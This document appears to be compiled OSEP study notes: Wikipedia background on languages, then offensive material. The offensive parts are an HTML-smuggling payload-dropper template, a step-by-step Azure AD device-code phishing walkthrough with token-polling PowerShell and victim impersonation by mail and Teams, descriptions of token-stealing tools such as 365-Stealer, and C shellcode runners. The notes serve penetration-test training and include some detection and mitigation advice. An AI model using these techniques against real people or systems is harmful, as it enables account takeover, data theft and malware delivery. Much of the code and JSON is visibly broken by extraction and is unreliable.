OSEP Notes Basic by Joas
OSEP Notes Basic by Joas
PT 1 by Joas
Sumário
Details ........................................................................................................................................... 3
Laboratory..................................................................................................................................... 4
Programming Language................................................................................................................ 4
Managed Code .......................................................................................................................... 5
Java ............................................................................................................................................ 6
C#............................................................................................................................................... 7
Assembly language .................................................................................................................... 7
Opcode ...................................................................................................................................... 8
HTML Smuggling............................................................................................................................ 9
Office Phishing............................................................................................................................. 13
Shellcode Run .............................................................................................................................. 34
A Beginner’s Guide to Windows Shellcode Execution Techniques ......................................... 34
Shellcode: In-Memory Execution of DLL ................................................................................. 43
Running ShellCode in Memory | AV Evasion – VBA Version................................................... 55
Execute Code in a Microsoft Word Document Without Security Warnings ........................... 59
AV Evasion Part 2, The disk is lava .......................................................................................... 66
Powershell Commands ............................................................................................................ 71
NATIVE POWERSHELL X86 SHELLCODE INJECTION ON 64-BIT PLATFORMS ........................... 71
Low-Level Windows API Access From PowerShell .................................................................. 78
Malicious Office Documents: Multiple Ways to Deliver Payloads ........................................ 104
POWERSHELL SCRIPTS USED TO RUN MALICIOUS SHELLCODE. REVERSE SHELL VS BIND SHELL
............................................................................................................................................... 111
JSCript Dropper ......................................................................................................................... 119
JSCript Meterpreter............................................................................................................... 119
Payload Delivery for DevOps : Building a Cross-Platform Dropper Using the Genesis
Framework, Metasploit and Docker ..................................................................................... 120
Donut v0.9.2 "Bear Claw" - JScript/VBScript/XSL/PE Shellcode and Python Bindings .......... 127
Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL ........................... 133
Process Injection Techniques ................................................................................................... 156
DLL Injection ............................................................................................................................. 174
Reflective DLL Injection ......................................................................................................... 182
SharpShooter......................................................................................................................... 191
Process Injection ................................................................................................................... 198
Process Hollowing in C# ........................................................................................................ 203
DISCOVERING THE ANTI-VIRUS SIGNATURE AND BYPASSING IT .............................................. 214
Bypass Antivirus with Metasploit .............................................................................................. 220
MSFEncode ............................................................................................................................ 227
MSFVenom ............................................................................................................................ 227
MSFEncrypt ........................................................................................................................... 235
AV Bypass Custom Binaries, Veil Evasion and Meterpreter Payload .................................... 235
AV Bypass with C# Runner ........................................................................................................ 236
Creating Simple Backdoor Payload by C#.NET ...................................................................... 236
Making Encrypted Meterpreter Payload by C#.NET ............................................................. 256
VBA Bypass AV .......................................................................................................................... 288
Shellcodes and bypass Antivirus using MacroPack ............................................................... 300
Offensive VBA........................................................................................................................ 304
Injection Cobalt Strike Beacon from Office ........................................................................... 308
AMSI Bypass .............................................................................................................................. 313
AMSI Concept ........................................................................................................................ 313
AMSI Bypass Methods ........................................................................................................... 314
Bypass AMSI with powershell ............................................................................................... 326
Memory Patching AMSI Bypass............................................................................................. 347
Exploring PowerShell AMSI and Logging Evasion.................................................................. 353
Details
This PDF is intended to help those studying for OSEP or seeking resources on Dropout.
All credits for the materials sent have been duly placed.
Programming Language
x86 is a family of complex instruction set computer (CISC) instruction set
architectures[a] initially developed by Intel based on the Intel 8086 microprocessor and
its 8088 variant. The 8086 was introduced in 1978 as a fully 16-bit extension of Intel's 8-
bit 8080 microprocessor, with memory segmentation as a solution for addressing more
memory than can be covered by a plain 16-bit address. The term "x86" came into being
because the names of several successors to Intel's 8086 processor end in "86", including
the 80186, 80286, 80386 and 80486 processors.
The term is not synonymous with IBM PC compatibility, as this implies a multitude of
other computer hardware. Embedded systems and general-purpose computers used x86
chips before the PC-compatible market started,[b] some of them before the IBM PC (1981)
debut.
As of 2022, most desktop computers, laptops and game consoles (with the exception of
the Nintendo Switch[2]) sold are based on the x86 architecture family,[citation needed] while mobile
categories such as smartphones or tablets are dominated by ARM; at the high end, x86
continues to dominate compute-intensive workstation and cloud computing segments,[3] while
the fastest supercomputer in 2020 was ARM-based, with the top 4 no longer x86-based in that
year.[4]
In the 1980s and early 1990s, when the 8088 and 80286 were still in common use, the term
x86 usually represented any 8086-compatible CPU. Today, however, x86 usually implies a
binary compatibility also with the 32-bit instruction set of the 80386. This is due to the fact
that this instruction set has become something of a lowest common denominator for many
modern operating systems and probably also because the term became common after the
introduction of the 80386 in 1985.
A few years after the introduction of the 8086 and 8088, Intel added some complexity to its
naming scheme and terminology as the "iAPX" of the ambitious but ill-fated Intel iAPX
432 processor was tried on the more successful 8086 family of chips,[c] applied as a kind of
system-level prefix. An 8086 system, including coprocessors such as 8087 and 8089, and
simpler Intel-specific system chips,[d] was thereby described as an iAPX 86 system.[5][e] There
were also terms iRMX (for operating systems), iSBC (for single-board computers), and iSBX (for
multimodule boards based on the 8086-architecture), all together under the
heading Microsystem 80.[6][7] However, this naming scheme was quite temporary, lasting for a
few years during the early 1980s.[f]
Although the 8086 was primarily developed for embedded systems and small multi-user or
single-user computers, largely as a response to the successful 8080-compatible Zilog Z80,[8] the
x86 line soon grew in features and processing power. Today, x86 is ubiquitous in both
stationary and portable personal computers, and is also used in midrange
computers, workstations, servers, and most new supercomputer clusters of the TOP500 list. A
large amount of software, including a large list of x86 operating systems are using x86-based
hardware.
Modern x86 is relatively uncommon in embedded systems, however, and small low
power applications (using tiny batteries), and low-cost microprocessor markets, such as home
appliances and toys, lack significant x86 presence.[g] Simple 8- and 16-bit based architectures
are common here, although the x86-compatible VIA C7, VIA Nano, AMD's Geode, Athlon
Neo and Intel Atom are examples of 32- and 64-bit designs used in some relatively low-power
and low-cost segments.
There have been several attempts, including by Intel, to end the market dominance of the
"inelegant" x86 architecture designed directly from the first simple 8-bit microprocessors.
Examples of this are the iAPX 432 (a project originally named the Intel 8800[9]), the Intel
960, Intel 860 and the Intel/Hewlett-Packard Itanium architecture. However, the continuous
refinement of x86 microarchitectures, circuitry and semiconductor manufacturing would make
it hard to replace x86 in many segments. AMD's 64-bit extension of x86 (which Intel eventually
responded to with a compatible design)[10] and the scalability of x86 chips in the form of
modern multi-core CPUs, is underlining x86 as an example of how continuous refinement of
established industry standards can resist the competition from completely new architectures.
x86 - Wikipedia
Managed Code
Managed code is computer program code that requires and will execute only under the
management of a Common Language Infrastructure (CLI); Virtual Execution
System (VES); virtual machine, e.g. .NET, CoreFX, or .NET Framework; Common Language
Runtime (CLR); or Mono. The term was coined by Microsoft.
Managed code is the compiler output of source code written in one of over twenty high-
level programming languages, including C#, J# and Visual Basic .NET.
he distinction between managed and unmanaged code is prevalent and only relevant when
developing applications that interact with CLR implementations. Since many[which?] older
programming languages have been ported to the CLR, the differentiation is needed to identify
managed code, especially in a mixed setup. In this context, code that does not rely on the CLR
is termed "unmanaged".
A source of confusion was created when Microsoft started connecting the .NET Framework
with C++, and the choice of how to name the Managed Extensions for C++. It was first named
Managed C++ and then renamed to C++/CLI. The creator of the C++ programming language
and member of the C++ standards committee, Bjarne Stroustrup, even commented on this
issue, "On the difficult and controversial question of what the CLI binding/extensions to C++ is
to be called, I prefer C++/CLI as a shorthand for "The CLI extensions to ISO C++". Keeping C++
as part of the name reminds people what is the base language and will help keep C++ a proper
subset of C++ with the C++/CLI extensions."
The Microsoft Visual C++ compiler can produce both managed code, running under CLR, or
unmanaged binaries, running directly on Windows.[2]
Benefits of using managed code include programmer convenience (by increasing the level of
abstraction, creating smaller models) and enhanced security guarantees, depending on the
platform (including the VM implementation). There are many historical examples of code
running on virtual machines, such as the language UCSD Pascal using p-code, and the operating
system Inferno from Bell Labs using the Dis virtual machine. Java popularized this approach
with its bytecode executed by the Java virtual machine.
Java
Java is a high-level, class-based, object-oriented programming language that is designed
to have as few implementation dependencies as possible. It is a general-
purpose programming language intended to let programmers write once, run
anywhere (WORA),[17] meaning that compiled Java code can run on all platforms that
support Java without the need to recompile.[18] Java applications are typically compiled
to bytecode that can run on any Java virtual machine (JVM) regardless of the
underlying computer architecture. The syntax of Java is similar to C and C++, but has
fewer low-level facilities than either of them. The Java runtime provides dynamic
capabilities (such as reflection and runtime code modification) that are typically not
available in traditional compiled languages. As of 2019, Java was one of the most popular
programming languages in use according to GitHub,[19][20] particularly for client–server web
applications, with a reported 9 million developers.[21]
Java was originally developed by James Gosling at Sun Microsystems and released in May
1995 as a core component of Sun Microsystems' Java platform. The original and reference
implementation Java compilers, virtual machines, and class libraries were originally
released by Sun under proprietary licenses. As of May 2007, in compliance with the
specifications of the Java Community Process, Sun had relicensed most of its Java
technologies under the GPL-2.0-only license. Oracle offers its own HotSpot Java Virtual
Machine, however the official reference implementation is the OpenJDK JVM which is free
open-source software and used by most developers and is the default JVM for almost all
Linux distributions.
As of March 2022, Java 18 is the latest version, while Java 17, 11 and 8 are the
current long-term support (LTS) versions. Oracle released the last zero-cost public update
for the legacy version Java 8 LTS in January 2019 for commercial use, although it will
otherwise still support Java 8 with public updates for personal use indefinitely. Other
vendors have begun to offer zero-cost builds of OpenJDK 8 and 11 that are still receiving
security and other upgrades.
Oracle (and others) highly recommend uninstalling outdated and unsupported versions of
Java, due to unresolved security issues in older versions.[22] Oracle advises its users to
immediately transition to a supported version, such as one of the LTS versions (8, 11, 17).
C#
C# (/si ʃɑːrp/ see sharp)[b] is a general-purpose, multi-paradigm programming language. C#
encompasses static typing, strong typing, lexically
scoped, imperative, declarative, functional, generic, object-oriented (class-based),
and component-oriented programming disciplines.[16]
C# was designed by Anders Hejlsberg from Microsoft in 2000 and was later approved as
an international standard by Ecma (ECMA-334) in 2002 and ISO (ISO/IEC 23270) in 2003.
Microsoft introduced C# along with .NET Framework and Visual Studio, both of which
were closed-source. At the time, Microsoft had no open-source products. Four years later,
in 2004, a free and open-source project called Mono began, providing a cross-
platform compiler and runtime environment for the C# programming language. A decade
later, Microsoft released Visual Studio Code (code editor), Roslyn (compiler), and the
unified .NET platform (software framework), all of which support C# and are free, open-
source, and cross-platform. Mono also joined Microsoft but was not merged into .NET.
As of 2021, the most recent version of the language is C# 10.0, which was released in
2021 in .NET 6.0.
The Ecma standard lists these design goals for C#:[16]
HTML Smuggling
HTML smuggling attacks enable a malicious actor to “smuggle” an encoded script within a
specially crafted HTML attachment or web page.
If the target opens the HTML in their web browser, the malicious script is decoded and the
payload is deployed on their device.
“Thus, instead of having a malicious executable pass directly through a network, the attacker
builds the malware locally behind a firewall,” the blog explains.
HTML smuggling attacks bypass standard perimeter security controls, such as web proxies and
email gateways, that often only check for suspicious attachments – EXE, ZIP, or DOCX files, for
example – or traffic based on signatures and patterns.
The malicious files are also created after the HTML file is loaded on the endpoint through the
browser, meaning that security tools may only see what they deem to be legitimate HTML
content and JavaScript traffic before it’s too late.
https://portswigger.net/daily-swig/html-smuggling-fresh-attack-technique-increasingly-being-
used-to-target-banking-
sector#:~:text=HTML%20smuggling%20attacks%20enable%20a,is%20deployed%20on%20their
%20device.
Microsoft Threat Intelligence Center (MSTIC) last week disclosed “a highly evasive malware
delivery technique that leverages legitimate HTML5 and JavaScript features” that it calls HTML
smuggling.
HTML smuggling has been used in targeted, spear-phishing email campaigns that deliver
banking Trojans (such as Mekotio), remote access Trojans (RATs) like AsyncRAT/NJRAT, and
Trickbot. These are malware that aid threat actors in gaining control of affected devices and
delivering ransomware or other payloads.
MSTIC said the technique was used in a spear-phishing attack by the notorious NOBELIUM, the
threat actor behind the noteworthy, nation-state cyberattack on SolarWinds.
HTML smuggling got its name from the way attackers smuggle in or hide an encoded malicious
JavaScript blob within an HTML email attachment. Once a user receives the email and opens
this attachment, their browser decodes the malformed script, which then assembles the
malware payload onto the affected computer or host device.
Usually, malware payloads go through the network when someone opens a malicious
attachment or clicks a malicious link. In this case, the malware payload is created within the
host. This means that it bypasses email filters, which usually look for malicious attachments.
HTML smuggling isn’t new, but MSTIC notes that many cybercriminals are embracing its use in
their own attack campaigns. “Such adoption shows how tactics, techniques, and procedures
(TTPs) trickle down from cybercrime gangs to malicious threat actors and vice versa … It also
reinforces the current state of the underground economy, where such TTPs get commoditized
when deemed effective.”
Some ransomware gangs have already started using this new delivery mechanism, and this
could be early signs of a fledgling trend. Even organizations confident with their perimeter
security are called to double back and take mitigation steps to detect and block phishing
attempts that could involve HTML smuggling. As we can see, disabling JavaScript is no longer
enough.
A sample of an email that uses HTML smuggling. This is part of a Trickbot spear-phishing
campaign. (Source: Microsoft)
• a password-protected attachment
• Executable files from running “unless they meet a prevalence, age, or trusted list
criterion”
BleepingComputer recommends other mitigating steps, such as associating JavaScript files with
a text editor like Notepad. This prevents the script from actually running but would let the user
view its code safely instead.
Finally, organizations must educate their employees about HTML smuggling and train them on
how to respond to it properly when encountered. Instruct them to never run a file that ends in
either .js or .jse as these are JavaScript files. They should be deleted immediately.
https://blog.malwarebytes.com/explained/2021/11/evasive-maneuvers-html-smuggling-
explained/
File smuggling is a technique that allows bypassing proxy blocks for certain file types that the
user is trying to download. For example if a corporate proxy blocks .exe files from being
downloaded via the browser, this is the technique you can use to smuggle those files through.
Weaponization
First of, we get a base64 of the executable we want to smuggle past the proxy:
Then we use this code and insert our base64 encoded payload into the variable file:
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
return bytes.buffer;
window.navigator.msSaveOrOpenBlob(blob,fileName);
} else {
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
Execution
If we open the HTML file in Internet Explorer (or Chrome), we get the Run/Download prompt
and once it's run - the shell popped as expected:
References
{% embed url="https://outflank.nl/blog/2018/08/14/html-smuggling-explained/" %}
{% embed url="https://www.nccgroup.trust/uk/about-us/newsroom-and-
events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/" %}
https://github.com/SofianeHamlaoui/Pentest-Notes/blob/master/offensive-security/defense-
evasion/file-smuggling-with-html-and-javascript.md
https://github.com/surajpkhetani/AutoSmuggle
https://ppn.snovvcrash.rocks/pentest/se/phishing/html-smuggling
https://bksecurity.org/initial-access-with-xss-and-html-smuggling-theory/
Office Phishing
What is phishing
According to phishing.org:
Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text
message by someone posing as a legitimate institution to lure individuals into providing
sensitive data such as personally identifiable information, banking and credit card details, and
passwords.
There are numerous phishing techniques to be used by criminals. Next I’ll shortly introduce
two of the most used techniques related to Microsoft 365 and Azure AD.
This is the most common phishing technique, where attackers have created login pages that
imitate legit login screens. When a victim enters credentials, attackers can use those to log in
using victim’s identity.
Lately some sophisticated phishing sites have checked the entered credentials in real time
using authentication APIs.
This type of phishing can be easily prevented by enabling Multi-Factor Authentication (MFA).
MFA is included in all Microsoft 365 and Azure AD subscriptions.
Note! Using MFA does not prevent the phishing per se. Instead, it prevents attackers from
logging in as the victim as the attacker is not able to perform the MFA. However, if the victim is
using the same password on other services, the compromised credentials can be used on those
services.
OAuth consent
There is also a preview feature which allows preventing the users for giving consents to
apps:
Next, I’ll demonstrate a new phishing technique for compromising Office 365 / Azure AD
accounts.
allows users to sign in to input-constrained devices such as a smart TV, IoT device, or printer. To
enable this flow, the device has the user visit a webpage in their browser on another device to
sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as
needed.
2. The app connects to Azure AD /devicecode endpoint and sends client_id and resource
The basic idea to utilise device code authentication for phishing is following.
3. Victim clicks the link, provides the code and completes the sign in.
4. The attacker receives access_token and refresh_token and can now mimic the victim.
https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0
I’m using the following parameters. I chose to use “Microsoft Office” client_id because it looks
the most legit app name, and it can be used to access other resources too. The chosen
resource gives access to AAD Graph API which is used by MSOnline PowerShell module.
Parameter Value
client_id d3590ed6-52b3-4102-aeff-aad2292ab01c
resource https://graph.windows.net
{
"user_code": "CLZ8HAV2L",
"device_code": "CAQABAAEAAAB2UyzwtQEKR7-
rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZP
hq9p7uN8tYIuMkfVJ29aUnUBTFsYCmJCsZHkIxtmwdCsIlKpOQij2lJZzphfZX8j0nktDpaHVB0zm-
vqATogllBjA-t_ZM2B0cgcjQgAA",
"verification_url": "https://microsoft.com/devicelogin",
"expires_in": "900",
"interval": "5",
"message": "To sign in, use a web browser to open the page
https://microsoft.com/devicelogin and enter the code CLZ8HAV2L to authenticate."
Parameter Description
interval The interval in seconds how often the client should poll for authentication
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.windows.net"
Note! I’m using a version 1.0 which is a little bit different than v2.0 flow used in
the documentation.
Now that we have the verification_url (always the same) and user_code we can create and
send a phishing email.
# Create a message
$message = @"
<html>
Hi!<br>
</html>
"@
After entering the code, user is asked to select the user to sign in. As we can see, the user is
asked to sign in to Microsoft Office - no consents are asked.
Note! If the user is not logged in, the user needs to log in using whatever methods the target
organisation is using.
After successfull authentication, the following is shown to the user.
:warning: At this point the identity of the user is compromised! :warning:
The last step for the attacker is to retrieve the access tokens. After completing the step 2. the
attacker starts polling the Azure AD for the authentication status.
Attacker needs to make an http POST to Azure AD token endpoint every 5 seconds:
https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0
The request must include the following parameters (code is the device_code from the step 1)
Parameter Value
client_id d3590ed6-52b3-4102-aeff-aad2292ab01c
resource https://graph.windows.net
Parameter Value
CAQABAAEAAAB2UyzwtQEKR7-
rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZPhq9
code t_ZM2B0cgcjQgAA
grant_type urn:ietf:params:oauth:grant-type:device_code
If the authentication is pending, an http error 400 Bad Request is returned with the following
content:
"error": "authorization_pending",
"error_codes": [70016],
"trace_id": "b35f261e-93cd-473b-9cf9-b81f30800600",
"correlation_id": "8ee0ae8a-533f-4742-8334-e9ed939b083d",
"error_uri": "https://login.microsoftonline.com/error?code=70016"
After successfull login, we’ll get the following response (tokens truncated):
"token_type": "Bearer",
"scope": "user_impersonation",
"expires_in": "7199",
"ext_expires_in": "7199",
"expires_on": "1602662787",
"not_before": "1602655287",
"resource": "https://graph.windows.net",
"access_token": "eyJ0eXAi...HQOT1rvUEOEHLeQ",
"refresh_token": "0.AAAAxkwD...WxPoK0Iq6W",
"foci": "1",
"id_token": "eyJ0eXAi...widmVyIjoiMS4wIn0."
}
The following script connects to the Azure AD token endpoint and polls for authentication
status.
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = "https://graph.windows.net"
while($continue)
$total += $interval
return
# Try to get the response. Will give 40x while pending so we need to try&catch
try
catch
$details=$_.ErrorDetails.Message | ConvertFrom-Json
Write-Host $details.error
if(!$continue)
Write-Error $details.error_description
return
if($response)
We can also get access tokens to other services using the refresh token as long as the client_id
remains the same.
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "refresh_token"
"scope" = "openid"
"resource" = "https://outlook.office365.com"
"refresh_token" = $response.refresh_token
The following example sends a phishing email using a customised message. The tokens are
saved to the cache.
# Send a phishing email to recipients using a customised message and save the tokens to cache
Code: CKDZ2BURF
...
And now we can send email as the victim using the cached token.
We can also send a Teams message to make the payment request more urgent:
Sent MessageID
---- ---------
The following video shows how to use AADInternals for email phishing.
Teams
Note! After the victim has “authenticated” and the tokens are received, AADInternals will
replace the original message. This message can be provided with -CleanMessage parameter.
The following example sends a phishing email using customised messages. The tokens are
saved to the cache.
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Code: CKDZ2BURF
...
The following video shows how to use AADInternals for Teams phishing.
Detecting
First of all, from the Azure AD point-of-view the login takes place where the authentication
was initiated. This is a very important point to understand. This means that in the signing log,
the login was performed from the attacker location and device, not from user’s.
However, the access tokens acquired using the refresh token do not appear in signing log!
Below is an example where I initiated the phishing from an Azure VM (well, from the cloud
shell to be more specific). As we can see, the login using the “Microsoft Office” client took
place at 7:23 AM from the ip-address 51.144.240.233. However, getting the access token for
Exchange Online at 7:27 AM is not shown in the log.
:warning: If there are indications that the user is signing in from non-typical locations, the user
account might be compromised.
Preventing
The only effective way for preventing phishing using this technique is to use Conditional
Access (CA) policies. To be specific, the phishing can not be prevented, but we can prevent
users from signing in based on certain rules. Especially the location and device state based
policies are effective for protecting accounts. This applies for the all phishing techniques
currently used.
However, it is not possible to cover all scenarios. For instance, forcing MFA for logins from
illicit locations does not help if the user is logging in using MFA.
Mitigating
If the user has been compromised, the user’s refresh tokens can be revoked, which prevents
attacker getting new access tokens with the compromised refresh token.
Summary
As far as I know, the device code authentication flow technique has not used for phishing
before.
From the attacker point of view, this method has a couple of pros:
▪ The user is only asked to sign in (usually to “Microsoft Office”) - no consents asked
▪ Attacker can use any client_id and resource (not all combinations work though)
▪ If the user signed in using MFA, the access token also has MFA claim (this includes also
the access tokens fetched using the refresh token)
From the attacker point of view, this method has at least one con:
Of course, the attacker can minimise the time restriction by sending the phishing email to
multiple recipients - this will increase the probability that someone signs in using the code.
Another way is to implement a proxy which would start the authentication when the link is
clicked (credits to @MrUn1k0d3r). However, this way the advantage of using a
legit microsoft.com url would be lost.
References
▪ Microsoft: Microsoft identity platform and the OAuth 2.0 device authorization grant
flow
▪ Microsoft: Revoke-AzureADUserAllRefreshToken
https://o365blog.com/post/phishing/
What is o365-attack-toolkit
We decided to move from the old model of static definitions to fully "interactive" with the
account in real-time.
• Interactive E-mail Search - Allows you to search for user e-mails like you would having
full access to it.
• Send e-mails - Allows you to send HTML/TEXT e-mails with attachments from the user
mailbox.
• Interactive File Search and Download - Allows you to search for files using specific
keywords and download them offline.
Architecture
The toolkit consists of several components
Phishing endpoint
The phishing endpoint is responsible for serving the HTML file that performs the OAuth token
phishing.
Backend services
Afterward, the token will be used by the backend services to perform the defined attacks.
Management interface
The management interface can be utilized to inspect the extracted information from the
Microsoft Graph API.
Features
User e-mails can be accessed by searching for specific keywords using the management
interface. The old feature of downloading keyworded e-mails has been discontinued.
Send E-mails
The new version of this tool allows you to send HTML/TXT e-mails, including attachments to a
specific e-mail address from the compromised user. This feature is extremly useful as sending
a spear-phishing e-mail from the user is more belivable.
File Search
Microsoft Graph API can be used to access files across OneDrive, OneDrive for Business and
SharePoint document libraries. User files can be searched and downloaded interactively using
the management interface. The old feature of downloading keyworded files has been
discontinued.
Document Replacing
Users document hosted on OneDrive/Sharepoint can be modified by using the Graph API. In
the initial version of this toolkit, the last 10 files would be backdoored with a pre-defined
macro. This was risky during Red Team operations hence the limited usage. For this reason, we
implemented a manual file replacement feature to have more control over the attack.
About
365-Stealer is a tool written in Python3 which can be used in illicit consent grant attacks. When
the victim grant his consent we get their Refresh Token which can be used to request multiple
Tokens that can help us in accessing data like Mails, Notes, Files from OneDrive etc. Doing this
manually will take a lot of time so this tool helps in automating the process.
2. Web UI - The Web UI is written in PHP and it also leverages python3 for executing
commands in background.
In an illicit consent grant attack, the attacker creates an Azure-registered application that
requests access to data such as contact information, email, or documents. The attacker then
tricks an end user into granting consent to the application so that the attacker can gain access
to the data that the target user has access to. After the application has been granted consent,
it has user account-level access to the data without the need for an organizational account.
In simple words when the victim clicks on that beautiful blue button of "Accept", Azure AD
sends a token to the third party site which belongs to an attacker where attacker will use the
token to perform actions on behalf the victims like accessing all the Files, Read Mails, Send
Mails etc.
Features
• Steals Refresh Token which can be used to grant new Access Tokens for at least 90
days.
• Can send mails with attachments from the victim user to another user.
• Creates Outlook Rules like forwarding any mail that the victim receives.
• Steal's files from OneDrive, OneNote and dump all the Mails including the
attachments.
• 365-Stealer Management portal allows us to manage all the data of the victims.
• Can backdoor .docx file located in OneDrive by injecting macros and replace the file
extension with .doc.
• All the data like Refresh Token, Mails, Files, Attachments, list of all the users in the
victim's tenant and our Configuration are stored in database.
• Delay the request by specifying time in seconds while stealing the data
• Tool also helps in hosting the dummy application for performing illicit consent grant
attack by using --run-app in the terminal or by using 365-Stealer Management.
• By using --no-stealing flag 365-Stealer will only steal token's that can be leverage to
steal data.
• We can also request New Access Tokens for all the user’s or for specific user.
• We can easily get a new access token using --refresh-token, --client-id, --client-
secret flag.
• The 365-Stealer CLI gives an option to use it in our own way and set up our own
Phishing pages.
• Allow us to steal particular data eg, OneDrive, Outlook etc. by passing a --custom-
steal flag.
• All the stolen data are saved in database.db file which we can share with our team to
leverage the existing data, tokens etc.
• We can search emails with specific keyword, subject, user's email address or by
filtering the emails containing attachments from the 365-Stealer Management portal.
• We can dump the user info from the target tenant and export the same to CSV.
https://github.com/AlteredSecurity/365-Stealer
Shellcode Run
A Beginner’s Guide to Windows Shellcode Execution Techniques
This blog post is aimed to cover basic techniques of how to execute shellcode within the
memory space of a process. The background idea for this post is simple: New techniques to
achieve stealthy code execution appear every day and it’s not always trivial to break these new
concepts into their basic parts to understand how they work. By explaining basic concepts of
In-Memory code execution this blog post aims to improve everyone’s ability to do this.
By Carsten Sandker
Security Consultant
24 JUL 2019
• .TEXT-Segment Execution
• RWX-Hunter Execution
Especially the first two techniques are very widely known and most should be familiar with
these, however, the latter two might be new to some.
Each of these techniques describes a way of executing code in a different memory section,
therefore it is necessary to review a processes memory layout as a first step.
The first concept that needs to be understood is that the entire virtual memory space is split
into two relevant parts: Virtual memory space reserved for user processes (user space) and
virtual memory space reserved for system processes (kernel space), as shown below:
This visual representation is based on Microsoft’s description given
here: https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-
address-spaces.
The first takeaway from this is that each process gets its own, private virtual address space,
where the “kernel space” is kind of a “shared environment”, meaning each kernel process can
read/write to virtual memory anywhere it wants to. Please note the latter is only true for
environments without Virtualization-based Security (VBS), but that’s a different topic.
The representation above shows what the global virtual address space looks like, let’s break
this down for a single process:
A single processes virtual memory space consists of multiple sections that are placed
somewhere within the available space boundaries by Address Space Layout Randomization
(ASLR). Most of these sections should be familiar, but to keep everyone on the same page,
here is a quick rundown of these sections:
.TEXT Segment: This is where the executable process image is placed. In this area you will find
the main entry of the executable, where the execution flow starts.
.DATA Segment: The .DATA section contains globally initialized or static variables. Any variable
that is not bound to a specific function is stored here.
.BSS Segment: Similar to the .DATA segment, this section holds any uninitialized global or
static variables.
HEAP: This is where all your dynamic local variables are stored. Every time you create an
object for which the space that is needed is determined at run time, the required address
space is dynamically assigned within the HEAP (usually using alloc() or similar system calls).
STACK: The stack is the place every static local variable is assigned to. If you initialize a variable
locally within a function, this variable will be placed on the STACK.
After defining the basics, let’s have a look on what is needed to execute shellcode within your
process memory space. In order to execute your shellcode you need to complete the following
three checks:
1. You need virtual address space that is marked as executable (otherwise DEP will throw
an exception)
The text book method to complete these three steps is to use WinAPI calls to dynamically
allocate readable, writeable and executable (RWX) memory and start a thread pointing to the
freshly allocated memory region. Coding this in C would look like this:
#include <windows.h>
int main()
// Alloc memory
// Copy shellcode
Sleep(1000);
return 0;
}
As it will be shown in the following screenshots, when compiling and executing the above
code, the shellcode will be executed from the heap, which is by default protected by the
system wide Data Execution Prevention (DEP) policy that has been introduced in Windows XP
(for details on this see: https://docs.microsoft.com/en-us/windows/desktop/memory/data-
execution-prevention). For DEP enabled processes this would prevent code execution in this
memory region. To overcome this burden we ask the system to mark the required memory
region as RWX. This is done by specifying the last argument to VirtualAlloc to be 0x40, which is
equivalent to PAGE_EXECUTE_READWRITE, as specified in https://docs.microsoft.com/en-
us/windows/desktop/memory/memory-protection-constants.
So far so good, but how would that code behave in memory? To analyse this we’ll use WinDbg
(https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-
download-tools). If you have never set up WinDbg before, refer to the following screenshot to
get an idea of how to point WinDbg to your source code, list all loaded modules, set a break
point and run your program:
After entering “g” in the WinDbg’s command line the program will break into the main
function of your executable. If you then step through your code to the point
after RtlMoveMemory is called, you will face something like the following in WinDbg:
As indicated by the violet line we are currently right after the call to RtlMoveMemory. If we
refer to the code above, RtlMoveMemory takes a Pointer from VirtualAlloc to write our
shellcode to the given location. As the pointer returned from VirtualAlloc is the first argument
to RtlMoveMemory, it will be pushed on stack last (within register ecx) before calling the
function, as function parameters get pushed on the stack in reverse order. If we would have
stopped right before the call to RtlMoveMemory the ecx register would show the address
location to be ‘0x420000’, which in the above screenshot has been placed into the eax register
after the WinAPI call.
Inspecting the memory location at address 0x420000 in the screenshot above, shows that our
shellcode has been placed at this address. Furthermore, note that the stack base address (ebp)
is shown as 0x5afa34 and the stack pointer (esp – the top address of the stack) is pointing
to 0x5af938, spanning the stack across the addresses in this range. As the memory location of
the shellcode is not within the stack range we can safely conclude it has been placed on the
heap instead.
In contrast to the vanilla approach above, another technique to execute shellcode within
memory is by the use of function pointers, as shown in the code snippet below:
#include <windows.h>
int main()
// One way to do it
int (*func)();
(int)(*func)();
// Shortcut way to do it
// (*(int(*)()) buf)();
Sleep(1000);
return 0;
• A pointer to a function is declared, in the above code snippet that function pointer is
named ‘func’
